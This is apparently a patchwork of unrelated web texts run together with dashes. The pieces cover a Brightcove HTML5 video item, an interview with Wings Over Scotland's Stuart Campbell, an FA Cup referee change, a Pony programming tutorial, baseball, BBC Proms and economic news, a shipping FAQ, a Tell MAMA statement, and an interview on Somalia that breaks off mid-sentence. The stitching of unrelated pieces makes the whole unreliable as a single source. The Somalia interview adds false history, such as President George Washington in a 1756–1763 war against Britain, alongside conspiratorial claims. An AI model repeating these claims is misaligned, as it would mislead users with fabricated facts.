customers will be able to "easily expand the reach of their online video initiatives to popular consumer devices including the Apple iPad, iPhone and iPod touch," wrote the company. Brightcove currently provides support for device detection, playlist rendering, and playback of H.264 content, but plans to add support for customization, advertising, analytics, social sharing, and other features over the next year. With such major names as the New York Times and Time on board, it's pretty clear that media companies aren't holding out hope that Apple and Adobe will kiss and make up. Like CBS, it's likely that they'll keep using Flash on their normal websites while allowing iPhone OS devices to access the HTML5 versions of the videos—at least for a while. The remaining questions are when can we expect Hulu to hop on the HTML5 train, and will Netflix reconsider its stance on bringing its own streaming videos (via Silverlight) to the iPad? -'Twitter is a playground and the website is the office," says Reverend Stuart Campbell, when asked whether he is a wind-up merchant. Campbell is the founder of Wings Over Scotland, a controversial pro-independence site that gets an astonishing 4.5 million page views a month. Born in Stirling, he moved to Bath in 1991 for a job at a computer magazine and became a notorious reviewer of video games. He has lived in Somerset ever since. The 46-year-old is also a long-term supporter of Scottish independence, but the issue only became pressing for him when the SNP's landslide Holyrood victory in 2011 made a referendum a certainty. Wings, known for its abrasive take on Scottish politics - one Tory MSP was described as "fat troughing scum" - was started six months after Alex Salmond's historic victory. "I was looking around for Scottish politics websites to follow ... and they weren't doing the job," he explains, sitting in a friend's house in Keynsham, outside Bath. "It became fairly rapidly obvious that nobody was doing the thing that I thought needed to be done." Other than giving readers what he describes as the "facts" about independence, Wings also attempts to shine a light on newspapers' alleged bias. In a podcast interview last year, Campbell said he wanted to "shame" the mainstream press and ensure newspapers did their job in a "more even-handed way". Does he think newspapers have a duty to be even-handed? "No is the short answer. They don't have a duty to. I think they should be." Newspaper stories, I say, are required to be accurate, not even-handed. Surely you are asking something of newspapers that they were never set up to deliver? "They are perfectly at liberty to do that [not being even-handed] but if they're going to do that then they should expect that we will highlight that." Would he be sad if the Daily Mail closed? "No." How about The Scotsman? "No." Like Guido Fawkes and the US-based Drudge report, Wings is an internet phenomenon: on top of 4.5 million page views, 250,000 unique users visit the site every month. Campbell works around 14 hours a day on the site and is the poster boy for a certain type of online independence campaigner. And yet, Yes Scotland - the official campaign group for independence -won't touch Wings with a barge pole. Yes recently ordered a local group to stop distributing leaflets that endorsed the website. A senior Yes figure told the Sunday Herald that the reason for this distance can be summed up in one word: Hillsborough. In September 2012, an independent panel confirmed that policing failures, not Liverpool fans, were to blame for a crush that led to the deaths of 96 people. But on the day after the panel issued its findings, Campbell wrote a piece that pointed the finger squarely at Liverpool fans: "The police's mendacious attempts to blame the fans for being drunk, late or ticketless were red herrings. The reality is much simpler, and required no lying - the fans were to blame because they, alone, were the ones who pushed and thereby caused the crush." Campbell now says of the article: "Some people are upset at some of my personal views. I struggle to see what conceivable relevance they [his views] are. I stand absolutely by the stuff that I've written about Hillsborough." But the panel said a lack of police control was to blame, not Liverpool fans. "The inquiry has a very specific definition of blame. Listen, this isn't something that I particularly want to get into here. As I say, it's nothing to do with Scottish politics." It's the reason people in Yes won't deal with him: "The bottom line is I don't particularly care if people don't want to be associated with us." Does he regret publishing it? "No. As far as I am concerned, it is true." However, it would be wrong to say that Yes Scotland has had absolutely no contact with Campbell. Asked whether he had ever spoken to Yes chief executive Blair Jenkins, Campbell said: "I have spoken to Blair on a number of occasions." When was the last time? "I'm not particularly sure I want to reveal that." Wings has also attracted money, with fundraisers reeling in nearly £150,000 from supporters. As a result, Wings registered as a referendum campaigner, which means the source of donations over £7500 has to be declared. The website received a £10,000 donation from a supporter, but this has not shown up on the register. He says the £10,000 will be spent after the referendum, which falls outwith the rules. So who is the donor? "It was somebody who did appear on the Electoral Commission's list of donors that was published the other week," he says. Campbell declines to name the donor, but he rules out tycoon Brian Souter and lottery winners Colin and Chris Weir. Looking ahead to September 18, the Wings founder says he has "no idea" what the result will be. However, he worries about the effect of a No vote: "The psychological damage to Scotland as a whole will be enormous." One remaining mystery is Campbell's use of the word "Rev" before his name. He does not have a university qualification, but he says he became a reverend in the 1990s. Does he do weddings? "I have not done weddings." Funerals? "No." Does he believe in God? "Things evolve." He says he uses Rev because a stalker used to edit his Wikipedia page in a way that directed people to a different Stuart Campbell who was a murderer. Campbell is an IT-literate troublemaker who has a long history of winding people up. A combination of the referendum, the internet and an edgy electorate has given him the perfect canvas. -The Football Association has announced that Alan Wiley will replace Merseyside official Mike Dean as referee for the FA Cup final between Liverpool and West Ham next month. The 45-year-old Wiley took charge of this season's Carling Cup final between Manchester United and Wigan and replaces Dean due to the FA's policy of not using officials who come from the same area as one of the teams in question. "The decision was taken following Liverpool's semi-final victory on Saturday," read an FA statement, contradicting an FA spokesman's earlier claim that, "he's [Dean] been appointed, and that's not going to change." The statement continuted: "We have complete faith in Mike Dean's refereeing ability, integrity and impartiality. However, given the huge interest in all aspects of the FA Cup final, the fact that he is from the Wirral might lead to comment and debate which would place him under undue additional pressure. "The decision has been taken with the best interests of Mike Dean and the competition in mind. At the age of 37, Mike Dean is still young enough to referee a future FA Cup final." The final will be held at the Millennium Stadium in Cardiff on May 13. -Pony is a new programming language described on their site as "an open-source, object-oriented, actor-model, capabilities-secure, high performance programming language." It has some interesting features and is different enough to existing popular programming languages to make it a nice diversion to experiment with. Some features include: lightweight actor based concurrency with M:N threading, mapping multiple language level threads to operating system threads. strong static typing with generics data-race free. The type system ensures at compile time that a concurrent program can never have data races. deadlock free. There are no locking mechanisms exposed to the user so there are no deadlocks. capabilities exposed to the type system to allow compile time enforcing of such things as objects that have no other references to it, immutable values, reference values, etc. lightweight C FFI This post is an outline of my initial experiments with the languages including pitfalls to be aware of. Installing Pony can be installed from git and run from the build directory: $ git clone https://github.com/CausalityLtd/ponyc $ cd ponyc $ make config=release $ export PATH=`pwd`/build/release:$PATH $ ponyc --help Run tests with: $ make config=release test Some of the Pony standard packages dynamically load shared libraries. If they're not installed this will be reflected in build failures during the tests. The required libraries on a Linux based machine are openssl and pcre2-8 . To build Pony itself llvm version 3.6 needs to be installed. There is an llvm37 branch on github that works on Linux but is awaiting some llvm37 fixes before it is merged into master . Pony can be installed in a default location, or using prefix to install it somewhere else: $ make config=release prefix=/home/user/pony install One catch is that running ponyc requires it to find the Pony runtime library libponyrt.a for linking purposes. This might not be found if installed somewhere that it doesn't expect. This can be resolved by setting the environment variable LIBRARY_PATH to the directory where libponyrt.a resides. I had to do this for the Nix Pony package. Compiling Pony programs A basic "Hello World" application looks like: actor Main new create(env: Env) => env.out.print("hello world") Place this in a main.pony file in a directory and compile: $ mkdir hello $ cat >hello/main.pony actor Main new create(env: Env) => env.out.print("hello world") $ ponyc hello $ ./hello1 hello world ponyc requires a directory as an argument and it compiles the *.pony files in that directory. It generates an executable based on the directory name, with a number appended if needed to prevent a name clash with the directory. The program starts executing by creating a Main actor and passing it an Env object allowing access to command line arguments, standard input/output, etc. The Main actor can then create other actors or do whatever required for program execution. Actors Actors are the method of concurrency in Pony. An actor is like a normal object in that it can have state and methods. It can also have behaviours . A behaviour is a method that when called is executed asynchronously. It returns immediately and is queued to be run on an actor local queue. When the actor has nothing to do (not running an existing method or behaviour) it will pop the oldest queued behaviour and run that. An actor can only run one behaviour at a time - this means there needs to be no locking within the behaviour since access to actor local state is serialized. For this reason it's useful to think of an actor as a unit of sequential execution. Parallelism is achieved by utilising multiple actors. To compare the difference between a standard object and an actor I'll use the following program: class Logger let _env: Env let _prefix: String new create(env: Env, prefix: String) => _env = env _prefix = prefix fun log(msg: String, delay: U32) => @sleep[I32](delay) _env.out.print(_prefix + ": " + msg) actor Main new create(env: Env) => let l1 = Logger.create(env, "logger 1") let l2 = Logger.create(env, "logger 2") l1.log("one", 3) l2.log("two", 1) l1.log("three", 3) l2.log("four", 1) This creates a class called Logger that on construction takes an Env to use to output log messages and a string prefix to prepend to a message. It has a log method that will log a message to standard output after sleeping for a number of seconds given by delay . The unusual syntax for the sleep call is the syntax for calling the sleep C function using the Pony FFI. I'll cover this later. The Main actor creates two loggers and logs twice to each one with a different delay. As a standard object using class is not asynchronous running this will result in a delay of three seconds, outputting the first log line, a delay of one second, outputting the second line, a delay of three seconds, outputting the third line and finally a delay of one second, outputting the final line. Everything happens on the single Pony thread that runs the Main actor's create constructor. Pony runs this on a single operating system thread. Total elapsed time is the sum of the delays. Compile and build with: $ mkdir clogger $ cat >clogger/main.pony ..contents of program above... $ ponyc clogger $ time ./clogger1 logger 1: one logger 2: two logger 1: three logger 2: four real 0m8.093s user 0m0.116s sys 0m0.132s Changing the Logger class to an actor and making the log method a behaviour will result in the logging happen asynchronously. The changes are: actor Logger let _env: Env let _prefix: String new create(env: Env, prefix: String) => _env = env _prefix = prefix be log(msg: String, delay: U32) => @sleep[I32](delay) _env.out.print(_prefix + ": " + msg) Nothing else in the program changes. I've just changed class to actor and fun to be . Now when the Main actor calls log it will add the behaviour call to the actor's queue and immediately return. Each Logger instance is running in its own Pony thread and will be mapped to an operating system thread if possible. On a multiple core machine this should mean each actor's behaviour is running on a different core. Compiling and running gives: $ mkdir alogger $ cat >alogger/main.pony ..contents of program above... $ ponyc alogger $ time ./alogger1 logger 2: two logger 2: four logger 1: one logger 1: three real 0m6.113s user 0m0.164s sys 0m0.084s Notice that the total elapsed time is now six seconds. This is the sum of the delays in the calls to log in the first Logger instance. The second instance is running on another OS thread so executes in parallel. Each log call immediately returns and is queued to run. The delays on the second Logger instance are shorter so they appear first. They two log calls on the second Logger run sequentially as behaviours on a single actor instance are executed in order. The log calls for the first Logger instance run after their delay, again sequentially for the calls within that actor. Capabilities Pony uses reference capabilities to allow safe concurrent access to objects. In practice this means annotating types with a tag to indicate how 'sharable' an object is. For data to be passed to another actor it must be safe for that actor to use without data races. Reference capabilities allow enforcing this at compile time. There are defaults for most types so you don't need to annotate everything. Notice that none of the examples I've done so far use any capability annotations. I'll go through a few examples here but won't be exhaustive. The Pony tutorial has coverage of the combinations and defaults. val and ref A val capability is for value types. They are immutable and therefore anyone can read from them at any time. val objects can be passed to actors and used concurrently. Primitives like U32 are val by default. This is why none of the primitive arguments to behaviours in the previous examples needed annotation. A ref capability is for references to mutable data structures. They can be read from and written to and have multiple aliases to it. You can't share these with other actors as that would potentially cause data races. Classes are ref by default. This is an example of passing a val to another actor: actor Doer be do1(n: U32) => None actor Main new create(env: Env) => let a = Doer.create() let n: U32 = 5 a.do1(n) As U32 is a primitive it defaults to a val reference capability. It is immutable and can be read by anyone at any time so this compiles without problem. This example fails to compile however: class Foo let n: U32 = 5 actor Doer be do1(n: Foo) => None actor Main new create(env: Env) => let a = Doer.create() let b = Foo.create() a.do1(b) The error is: main.pony:5:13: this parameter must be sendable (iso, val or tag) be do1(n: Foo) => ^ class defaults to the ref capability which can be read, written and aliased. It can't be used to send to another actor as there's no guarantee that it won't be modifed by any other object holding a reference to it. The iso and tag capabilities mentioned in the error message are other capability types. iso is for single references to data structures that can be read and written too. The type system guarantees that only one reference exists to the object. It is short for 'isolated'. tag is for identification only. Objects of capability tag cannot be read from or written too. They can only be used for object identity or, if they are an Actor, calling behaviours on them. Actors default to tag capabilities. Calling behaviours is safe as behaviour running is serialized for the actor instance and they don't return data. To get the previous example to work we can force the Foo object to be of type val if it can be immutable: class Foo let n: U32 = 5 actor Doer be do1(n: Foo val) => None actor Main new create(env: Env) => let a = Doer.create() let b: Foo val = Foo.create() a.do1(b) ref and iso Let's modify the example so we can change the value of the Foo object to demonstrate moving a mutable reference from one actor to another: class Foo var n: U32 = 5 fun ref set(m: U32) => n = m fun print(env: Env) => env.out.print(n.string()) actor Doer be do1(env:Env, n: Foo iso) => n.print(env) actor Main new create(env: Env) => let a = Doer.create() let b = Foo.create() a.do1(env, b) In this example the do1 behaviour now requires an iso reference capability. As mentioned previously, iso means only one reference to the object exists therefore it is safe to read and write. But where we create the instance of Foo we have a reference to it in the variable b . Passing it as an argument to do1 effectively aliases it. The compile time error is: main.pony:18:16: argument not a subtype of parameter a.do1(env, b) ^ main.pony:11:19: parameter type: Foo iso be do1(env:Env, n: Foo iso) => main.pony:18:16: argument type: Foo iso! a.do1(env, b) ^ This error states that do1 requires a Foo iso parameter whereas it is being passed a Foo iso! . The ! at the end means that it is an alias to another variable. Even though class objects are ref by default, Pony has inferred the capability for b as iso as we didn't declare a type for b and we are passing it to a function that wants an iso . However as it has an alias it can't be used as an iso therefore it's an error. One way of avoiding the aliasing is to pass the result of the create call directly: actor Main new create(env: Env) => let a = Doer.create() a.do1(env, Foo.create()) There is no alias here so it compiles fine. If we do want to have an initial reference to it, say to set a value first, we can tell the type system that we are consuming the existing reference and will no longer use it. This is what the consume keyword is for: actor Main new create(env: Env) => let a = Doer.create() let b = Foo.create() b.set(42) a.do1(env, consume b) // b.set(0) This now compiles. Uncommenting out the use of b after the do1 call will be a compile error as we've consumed b and it no longer exists. In this case the error owuld be: main.pony:20:5: can't use a consumed local in an expression b.set(0) ^ main.pony:20:6: invalid left hand side b.set(0) consume is more often used for passing iso objects around. To pass it to another object you need to consume the existing reference to it. This becomes problematic if you are consuming a field of an object. Modifying the example so that the Foo is stored as a field of Main shows the problem: actor Main var b: Foo iso = Foo.create() new create(env: Env) => let a = Doer.create() b.set(42) a.do1(env, consume b) The error is: main.pony:20:16: consume must take 'this', a local, or a parameter a.do1(env, consume b) ^ b can't be consumed as it's a field of Main . It can't be left consumed - it must have a valid Foo iso object stored in it. In Pony assignment returns the old value of the variable being assigned too. This allows assigning a new value to the field and returning the old value in one operation and avoiding leaving the field in an invalid state: new create(env: Env) => let a = Doer.create() b.set(42) a.do1(env, b = Foo.create()) b gets a new value of a new instance of Foo and do1 gets passed the old value. There's a lot more to capabilities and the capabilities section of the tutorial covers a lot. Although there are sane defaults it feels like that 'capability tutorials' will be the Pony equivalent of 'Monad tutorials' in other languages for a while. When I first was learning ATS I spent a lot of time floundering with function annotations to get things to compile, trying random changes, until I learnt how it worked. I'm probably at that stage with capabilities at the moment and I hope it becomes clearer as I write more Pony programs. Pattern Matching Pony has many of the concepts of most modern functional programming languages. Matching on values is allowed: let x: U32 = 2 match x | 1 => "one" | 2 => "two" else "3" end Union types with capturing: type Data is (U32 | String | None) .... match x | None => "None" | 1 => "one" | let u: U32 => "A number that is not one: " + u.string() | let s: String => "A string: " + s end Enumerations are a bit verbose in that you have to use primitive to define each variant of the enumeration first: primitive Red primitive Blue primitive Green type Colour is (Red | Blue | Green) ... let x: Colour = Red match x | Red => "Red" | Blue => "Blue" | Green => "Green" end C FFI Pony has an easy to use C FFI. I showed an example of this previously: @sleep[I32](delay) The @ signifies that this is a C FFI function call. The type in the backets is the return type of the C function call. The types of the arguments must match what the actual C function expects. Errors here will crash the program. Pony allows specifying the type of an FFI function in advance so argument types are checked. For sleep it would be: use @sleep[I32](n: U32) ... @sleep(10) Note that it's no longer necessary to specify the return type at the call point as it's already been defined in the declaration. If the C function is part of a library already linked into the Pony executable then there is no need use a statement to define the library file to link against. sleep is part of libc so it isn't needed. In the cases where you need to link against a specific library then the use statement is used in this manner: use "lib:foo" The addressof keyword is used to pass pointers to C code. It can be used for passing out parameters of primitives types: var n: U32 = 0 @dosomething[None](addressof n) env.out.print("Result: " + n.string()) Callbacks The FFI allows passing Pony functions to C for the C code to later call back. The syntax for this looks like: let foo = Foo.create() @callmeback[None](addressof foo.method, foo) Calling C code example A working example for the following C function in a cbffi.c file: void do_callback(void (*func)(void* this, char* s), void* this) { func(this, "hello world"); } The Pony code to use this is: use "lib:cbffi" class Foo let prefix: String let env: Env new create(e: Env, p: String) => prefix = p env = e fun display(msg: Pointer[U8]) => env.out.print(prefix + ":" + String.copy_cstring(msg)) actor Main new create(env: Env) => let foo = Foo.create(env, "From Pony") @do_callback[None](addressof foo.display, foo) Note that the display function takes a Pointer[U8] as an argument. Pointer[U8] is a generic type with U8 being the parameter. In this case it is the C string that the C function passes. Pony String types are an object with fields so C doesn't pass it directly. The String type has a couple of constructor functions that take Pointer[U8] as input and return a Pony String - the one used here, copy_cstring , makes a copy of the C string passed in. Compile with: $ mkdir cb $ cat >cb/main.pony ...Pony code... $ cat >cb/cbffi.c ...C code... $ gcc -fPIC -shared -o libcbffi.so cb/cbffi.c $ LIBRARY_PATH=. ponyc cb $ LD_LIBRARY_PATH=. ./cb1 From Pony:hello world Here LIBRARY_PATH is set to find the shared library during compiling and linking. To run the generated executable LD_LIBRARY_PATH is used to find the shared library at runtime. It's also possible to link against static C libraries: $ rm libcbffi.so $ gcc -c -o libcbffi.o cb/cbffi.c $ ar -q libcbffi.a libcbffi.o $ LIBRARY_PATH=. ponyc cb $ ./cb1 From Pony:hello world Things to look out for While writing Pony code I came across a couple of things to be aware of. Each actor has their own garbage collector but it runs only between behaviour calls. If a behaviour runs for a long time, never calling another actor behaviour, then it can be a while before garbage is collected. An example of where this can happen is a simple Main actor where everything is done in the default constructor and never calls another actor. Benchmarks can be an example here. No GC will occur and you can get an OOM (Out of Memory) situation. Another is that there is no backpressure handling for behaviour calls on an actor. The message queues are unbounded so if a producer sends messages to an actor at a faster rate than it processes them then it will eventually OOM. This can occur if you have the message sender tied to an external process. For example a TCP listener that uses sockets and translates the data to a message to an actor. If the external users of the TCP interface (a webserver for example) are sending data faster than the actor handling the messages then OOM will occur. Slides from the Pony developers indicates that backpressure is on their radar to look at. As usual with a new programming language there is a lack of libraries and library documentation. Expect to look through the Pony source code to find examples of how to do things. The tutorial is great though - even though parts are incomplete - and is on github. There is a --docs command line argument that can be used to parse docstrings in Pony libraries and produce documentation in markdown format. For example: $ cd packages $ ponyc --docs collections $ ls collections-docs/ Conclusion This has only been a quick overview of some features of Pony. There's more too it. Some places to get more Pony information: -An overtaxed bullpen forced the Rockies into a slew of moves Wednesday, as they optioned first-baseman Wilin Rosario to Triple-A Albuquerque to make room for relief pitcher John Axford. Right-hander Scott Oberg was also recalled to the Rockies, while LaTroy Hawkins was placed on the disabled list with a biceps injury. Rosario will play every day for the Isotopes at first base. The Rockies sent him down to make room for Axford. Several short outings from their starting pitching staff in recent games put pressure on the Rockies’ bullpen, and they need relief reinforcement. Rosario was not happy about the move. “I don’t feel good,” Rosario said. “I’d be lying to you if I said that. I need to be here. I’m playing at a big-league level.” Rosario, who was converted from starting catcher into a back-up first baseman in the offseason, is hitting .357 with three doubles in 14 at-bats this season. “I feel really good swinging,” Rosario said. “It’s something I can do, is hit. Whether they play me here or not play me every day, when I get an opportunity, the time that I do get, I play well. I give the team a chance to win.” The Rockies on Monday got just two innings from starting pitcher Jorge De La Rosa, then five more from Tyler Matzek on Tuesday — both losses to the Padres at Coors Field. Their relief corps took on too much work in too short a span. So the Rockies will move forward with an eight-man bullpen. “Our hands were tied on this one,” manager Walt Weiss said. “It was really the only possible move we could make… The bullpen is what needs protecting at the moment.” Axford returns from the restricted list after missing 10 days while caring for his 2-year-old son, who is recovering from a rattlesnake bite. His son, Jameson, returned home Wednesday exactly one month after he was rushed to a Phoenix-area hospital. He’s since been moved to Denver and is using a wheelchair while his foot recovers from the bite. “I’ve kept myself prepared and game-ready this entire time,” Axford said. Oberg will return after he was optioned to Triple-A on Monday. He allowed three home runs against the Dodgers in inning Sunday in a 7-0 loss. Hawkins, the team’s former closer, pitched one scoreless inning Tuesday. But a lingering bicep injury forced him to the 15-day DL. “This gives him some time to recover,” Weiss said. Looking ahead Padres’ Tyson Ross (1-0, 4.08 ERA) at Rockies’ Jordan Lyles (1-1, 3.50), 1:10 p.m. Thursday, no TV; 850 AM Through three turns of the rotation, Lyles has been the Rockies’ best pitcher in the early going. His ERA doesn’t match Eddie Butler or Tyler Matzek. But he stays in games, throwing six innings each game so far. In his best outing — in a 6-5 loss to the Cubs in Denver — Lyles allowed just one run and struck out three. He’s 5-1 all time at Coors Field with a 4.70 ERA. But he’s just 1-3 with a 6.30 ERA against the Padres. Friday: Giants’ Chris Heston (2-1, 0.87 ERA) at Rockies’ Eddie Butler (1-1, 2.25), 6:40 p.m., ROOT Saturday: Giants’ Tim Hudson (0-2, 3.93) at Rockies’ Jorge De La Rosa (0-1, 31.50), 6:10 p.m., ROOT Sunday: Giants’ Tim Lincecum (1-1, 2.00) at Rockies’ Tyler Matzek (1-0, 2.40), 2:10 p.m., ROOT Nick Groke, The Denver Post -Harry and Leia and the BBC Proms (Picture: Getty Images) Harry Potter, Princess Leia, E.T. and Indiana Jones will be joining the BBC Proms for the first time in 2017 as part of a celebration of John Williams’ 85th birthday. Netflix has changed The Notebook’s ending and people are really, really angry The BBC Concert Orchestra will pay tribute to the award-winning and iconic film composer John Williams with a selection of his most famous film scores, including Star Wars, Harry Potter, and Jaws. ‘Will people come dressed as Star Wars characters? I’d be really disappointed if they don’t,’ said Proms director David Pickard after the news was revealed. Luke, Leia, and Han (Picture: Disney) Performances during the annual classical music festival will also for the first time take place outside of London, with three performances planned in Hull, the 2017 City Of Culture. ‘I thought it was important, most specifically this year, to mark Hull as a City of Culture,’ said David. Advertisement Advertisement ‘I was also looking to expand the initiative we took last year of taking some Proms out of the Albert Hall.’ The BBC Proms (Picture: BBC/: Mark Allan) Elsewhere the festival will 100 years since the births of Ella Fitzgerald and Dizzy Gillespie with a concert starring vocalist Dianne Reeves and trumpeter James Morrison. Ella Fitzgerland (Picture: BBC) The music of jazz giant Charles Mingus will be celebrated by conductor Jules Buckley, while BBC Radio 2 presenter Clare Teal returns with bandleaders Guy Barker and Winston Rollins for a concert celebrating big band legends including Duke Ellington, and Jools Holland and His Rhythm and Blues Orchestra pay tribute to the legendary Stax/Volt Revue, credited for its championing of Southern and Memphis soul music. MORE: BBC Proms presenter Katie Derham is Strictly Come Dancing’s fifth contestant MORE: Expect thunderous applause for Joseph Calleja at the BBC Proms -The Monday Morning Quarterback | A quick analysis of important economic data released over the past week U.S. Snapshot The government shutdown weighed heavily on the minds of consumers as the confidence index dropped from 80.2 in September to 71.2 in October. The index now stands below levels reached a year ago. National retail sales for September declined 0.1% from last month, but, are 3.2% above a year ago. This is a sign of weakness going into the Christmas season. Sales of light vehicles and trucks fell a sharp 5.2% in September following a 1.9% rise in August. The drop was led by domestic trucks, down 7.5%. Domestic cars were down 5.1%. Import autos were down only 1.8%. Consumer prices were up 0.2% in September vs. August and now stand a modest 1.2% over a year ago. This is good news and bad news. The bad news is that the modest increases are below the Fed target of 2.0% and reflect very weak domestic demand. Growth in industrial production topped expectations in September. But, it was all about atypically cool weather. Manufacturing was still flat. Overall, industrial production was up 0.6% following a rise of 0.4% in August. The gain was primarily due to a surge in utilities as cool weather boosted utility demand. Capacity utilization rose to 78.3% from 77.9% in September. While this is an improvement, it is still below the 80% that has historically been associated with increases in plant spending. According to the Institute for Supply Management, manufacturing expanded in October for the fifth consecutive month and the overall economy grew for the 53rd consecutive month. Pending home sales declined for the fourth consecutive month in September as higher mortgage interest rates and higher home prices curbed buying power. The Pending Home Sales Index, a forward looking indicator based on contract signings, fell 5.6% to 101.6 in September from a downwardly revised 107.6 in August. The index is at the lowest level since December 2012. According to the S&P/Case-Shiller home price index, home prices continued to climb nationally. Both the 10 and 20-city indices were up 12.8% over a year ago and 1.3% in August vs. July. Arizona Snapshot According to data compiled by Fletcher Wilcox and the Cromford Report, it appears the major disruptions in the Greater Phoenix home market is near an end. September foreclosure starts were below 2006 levels. Auctioned properties were the lowest since 2006. Short sales were the lowest since 2007. Virtually every indicator of disruption was down significantly. According to CBRE, the Greater Phoenix office market continues to improve. For all three quarters of 2013 reported, absorptions significantly exceeded change in inventory. Thus, vacancy rates are down 1.7 percentage points over the last year. While vacancies are still very high by historic standards, they are moving in the right direction. The same is true in retail markets where vacancies are down 0.8 percentage points over the past year and are approaching 10%. Industrial markets are more mixed as change in inventory for the first three quarters of the year exceeded absorption by over 1 million square feet. -When will my order be dispatched? All orders through the Royal Mail delivery service will be dispatched up until 5.20pm (Monday –Friday), with DPD deliveries up until 5.00pm (Monday –Friday). During busy periods such as Christmas we can dispatch on Saturday as well though. If your order is placed outside of these hours it will be dispatched the next working day (Monday –Friday). If an item is on pre order and not in stock, this will be dispatched as soon as further stock arrives into our warehouse. How will my order be shipped? At checkout you will have a selection of delivery options. This will determine the service your order is shipped out on. What would the delivery time of my order be? UK Royal Mail First Class On dispatch to you can expect to receive your order within 1-3 working days. Royal Mail First Class (Signed For) On dispatch with you can expect to receive your order within 1-3 working days. DPD ‘Next Business Day’ (UK Mainland) On dispatch you can expect to receive your order the next business day (Monday –Friday). Please note this will exclude some areas of Scotland which can take up to two working days for delivery. DPD have improved their service by introducing facility to track where the driver is 15 minutes before delivery. Click for more details... International International Royal Mail First Class & International Royal Mail First Class (Tracked) Times will vary depending on your countries import regulations and postal service. Please check with your local Post Office for an estimate on how long it takes to ship items from the UK to your country. -Something notable took place on the streets of London after the attack on Westminster Bridge which was carried out by Khalid Masood. The usual picture has been that after a major terrorist attack, there is a corresponding significant peak and rise in anti-Muslim hatred. After Westminster, we did not see what was expected and there was no major peak in anti-Muslim hatred picked up across the country. If there was, our work within Tell MAMA would have immediately been alerted to this. This raises some interesting questions. What was there about this terrible incident that did not create major ramifications for cohesion and policing within our country? What was done on this occassion to reduce possible impacts on communities and which also impacted on the frequency of anti-Muslim hate crime incidents across the country – with no major peak after what was a major terrorist incident? This is the first major terrorist incident in the last 3 years where there has not been a significant rise and peak in anti-Muslim hatred. We understand that some groups put out messages asking people to significantly change behaviour patterns on the assumption of a major anti-Muslim backlash. We believe that such advice, (given no large scale backlash after the Westminster terrorist murders), was counter-productive and was not borne out with evidence on this occassion. Such advice may also impact heavily on the confidence of the more vulnerable in communities and we ask that agencies reflect on the messaging that they put out. What we can say though is that the capital still remains resilient against major community divisions and that the lives of Londoners as whole were not significanty impacted upon because of the terrorist attack. There are times when we can feel a sense of hope and the last week provides us with a real window of hope. London truly is a great city. -Somalia had every reason to succeed: an advantageous geographical situation, oil, ores and only one religion and one language for the whole territory; a rare phenomenon in Africa. Somalia could have been a great power in the region. But the reality is completely different: famine, wars, lootings, piracy, bomb attacks. How did this country sink? Why has there been no Somali government for approximately twenty years? Which scandals stand behind those pirates who hijack our ships? In this new chapter of our series “Understanding the Muslim World”, Mohamed Hassan explains for us why and how imperialist forces have applied in Somalia a chaos theory. How did piracy develop in Somalia? Who are those pirates? Since 1990, there has been no government in Somalia. The country is in the hands of warlords. European and Asiatic ships took advantage of this chaotic situation and fished along the Somali coast without a license or respect for elementary rules. They did not observe the quotas in force in their own country to protect the species and they used fishing techniques –even bombs!- that created huge damages to the wealth of the Somali seas. That’s not all! Taking also advantage of this lack of any political authority, European companies, with the help of the mafia, dumped nuclear wastes offshore Somali coasts. Europe knew of this but turned a blind eye as that solution presented a practical and economical advantage for the nuclear waste management. Yet, the 2005 Tsunami brought a big part of these wastes into the Somali lands. Unfamiliar diseases appeared for the first time among the population. This is the context in which the piracy mainly developed. Somali fishermen, who had primitive fishing techniques, were no more able to work. So they decided to protect themselves and their seas. This is exactly what the United States did during the civilian war against the British (1756-1763): with no naval forces, President George Washington made a deal with pirates to protect the wealth of the American seas. No Somali state for almost twenty years! How is that possible? This is the result of an American strategy. In 1990, the country was bruised by conflicts, famine and lootings; the state collapsed. Facing this situation, the United States, who discovered oil in Somalia a few years ago, launched Operation Restore Hope in 1992. For the first time, US marines intervened in Africa to take control of a country. It was also the first time that a military invasion was launched in the name of humanitarian interference. The famous rice bag exhibited on a Somali beach by Bernard Kouchner? Yes, everybody remembers those pictures carefully showcased. But the real reasons were strategic. An US State Department report recommended indeed that the United States must stay the lonely global superpower after the Soviet Bloc collapse. To reach that goal, the report advocated to occupy a hegemonic position in Africa, which enjoys a vast amount of raw materials. However, Restore Hope will be a failure. There was even that Hollywood movie “Black Hawk Down”, with those poor G.I.’s “attacked by the bad Somali rebels”… US soldiers were indeed defeated by a Somali nationalist resistance. Since then, American policy was to keep Somalia without any real government, even to balkanize it. This is the old British strategy, already applied in many places: setting weak and divided states in order to better rule them. That is why there has been no Somali state for almost twenty years. The United States has implemented a chaos theory in order to stop any Somali reconciliation and keep the country divided. In Sudan, due to the civilian war, Exxon has had to leave the country after having discovered oil. So isn’t letting Somalia plunge into chaos contrary to American interests, which cannot exploit the discovered oil? Oil exploitation is not their priority. The United States know that the reserves are there but doesn’t need it immediately. Two elements are much more important in its strategy. First, prevent the competitors from negotiating with a rich and powerful Somali state. If you consider Sudan, the comparison is interesting. The oil that the American companies discovered there thirty years ago, Sudan is selling it today to China. The same thing could happen in Somalia. When he was president of the transition government, Abdullah Yusuf went to China although he was supported by the United States. US mass media had strongly criticized that visit. The fact is that United States have no guarantee on that point: if a Somali government is established tomorrow, whatever is its political color, it could probably adopt a strategy independent of United States and trade with China. Western imperialists do not want a strong and unified Somali state. The second goal pursued by this chaos theory is linked to the geographical location of Somalia, which is strategic for both European and American imperialists. Why is it strategic? The issue is the control of the Indian Ocean. Look at the map. As mentioned, western powers have an important share of the responsibility in the Somali piracy development. But instead of telling the truth and paying compensation for what they did, those powers criminalize the phenomena in order to justify their position in the region. Under the pretext of fighting the piracy, NATO is positioning its navy in the Indian Ocean. Source: Wikipeda What is the real goal? To control the economic development of the emerging powers, mainly India and China. Half of the world’s container traffic and 70% of the total traffic of petroleum products passes through the Indian Ocean. From that strategic point of view, Somalia is a very important place: the country has the longest coast of Africa (3.300 km) and faces the Arabian Gulf and the Straight of Hormuz, two key points of the region economy. Moreover, if a pacific response is brought to the Somali problem, relations between African in one hand, and India and China on the other hand, could develop through the Indian Ocean. Those American competitors could then have influence in that African area. Mozambique, Kenya, Madagascar, Tanzania, Zanzibar, South Africa etc. All those countries connected to the Indian Ocean could gain easy access to the Asian market and develop fruitful economic relationship. Nelson Mandela, when he was president of South Africa, had mentioned the need of an Indian Ocean revolution, with new economic relationships. The United States and Europe do not want this project. That is why they prefer to keep Somalia unstable.. You say that the United States does not want Somali reconciliation. But what are the roots of the Somali divisions? In order to understand this chaotic situation, we must delve into Somali history. This country had been divided by colonial powers. In 1959, Somalia gained independence through the fusion of the Italian 